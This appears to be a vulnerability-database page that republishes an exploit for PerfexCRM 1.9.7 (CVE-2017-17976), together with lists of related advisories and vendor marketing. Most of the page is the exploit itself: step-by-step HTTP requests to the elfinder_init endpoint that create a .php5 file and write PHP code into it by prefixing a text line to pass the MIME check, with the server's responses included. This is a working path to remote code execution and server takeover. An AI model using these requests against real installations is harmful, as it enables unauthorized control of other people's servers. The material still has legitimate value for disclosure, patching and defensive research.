Lucene search
K

PerfexCRM 1.9.7 Arbitrary File Upload

🗓️ 15 Jan 2018 00:00:00Reported by Ahmad MahfouzType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 55 Views

PerfexCRM 1.9.7 Arbitrary File Upload, Unauthorized System Takeover, CVE-2017-1797

Related
Code
ReporterTitlePublishedViews
Family
0day.today
PerfexCRM 1.9.7 - Arbitrary File Upload Vulnerability
15 Jan 201800:00
zdt
CNVD
Perfex CRM Arbitrary File Upload Vulnerability
30 Jan 201800:00
cnvd
CVE
CVE-2017-17976
26 Jan 201820:00
cve
Cvelist
CVE-2017-17976
26 Jan 201820:00
cvelist
Exploit DB
PerfexCRM 1.9.7 - Arbitrary File Upload
15 Jan 201800:00
exploitdb
exploitpack
PerfexCRM 1.9.7 - Arbitrary File Upload
15 Jan 201800:00
exploitpack
NVD
CVE-2017-17976
26 Jan 201820:29
nvd
OSV
CVE-2017-17976
26 Jan 201820:29
osv
Prion
Unrestricted file upload
26 Jan 201820:29
prion
`# Exploit Title: PerfexCRM 1.9.7 a Unrestricted php5 File upload   
# Exploit Author: Ahmad Mahfouz   
# Description: PerfexCRM 1.9.7 prone to unrestricted file upload that lead to system take over by misconfigured elfinder plugin  
# Contact: http://twitter.com/eln1x  
# Date: 12/01/2018  
# CVE: CVE-2017-17976  
# Version: v1.9.7   
# Software Link: https://www.perfexcrm.com/  
  
  
  
# bypassing the misconfigured file upload with file .php5  
  
  
  
GET admin/utilities/elfinder_init?cmd=mkfile&name=shell.php5&target=[dir]  
  
  
JSON Response:  
  
{"added":[{"isowner":false,"mime":"text\/plain","read":1,"write":1,"size":"0","hash":"[XXX]","name":"shell.php5","phash":"[XXXX] "}],"changed":[{"isowner":false,"mime":"directory","read":1,"write":1,"size":0,"hash":"[ XXX]","name":"asa","phash":"[ XXX] ","volumeid":"[XXX]"}]}  
  
  
  
#bypass the file content restriction by adding TEXT line to represent mime type text  
  
  
Request  
  
  
POST /admin/utilities/elfinder_init HTTP/1.1  
  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
  
X-Requested-With: XMLHttpRequest  
  
Connection: close  
  
  
  
cmd=put&target=[folder]&encoding=UTF-8&content=demo  
  
  
  
newline to represent text mime type  
  
<?php  
  
phpinfo();  
  
?>  
  
  
  
HTTP/1.1 200 OK  
Content-Type: application/json  
Connection: close  
Content-Length: 167  
  
  
  
{"changed":[{"isowner":false,"mime":"text\/plain","read":1,"write":1,"size":"44","hash":"[XXX]","name":"shell.php5","phash":"[XXX]]"}]}  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation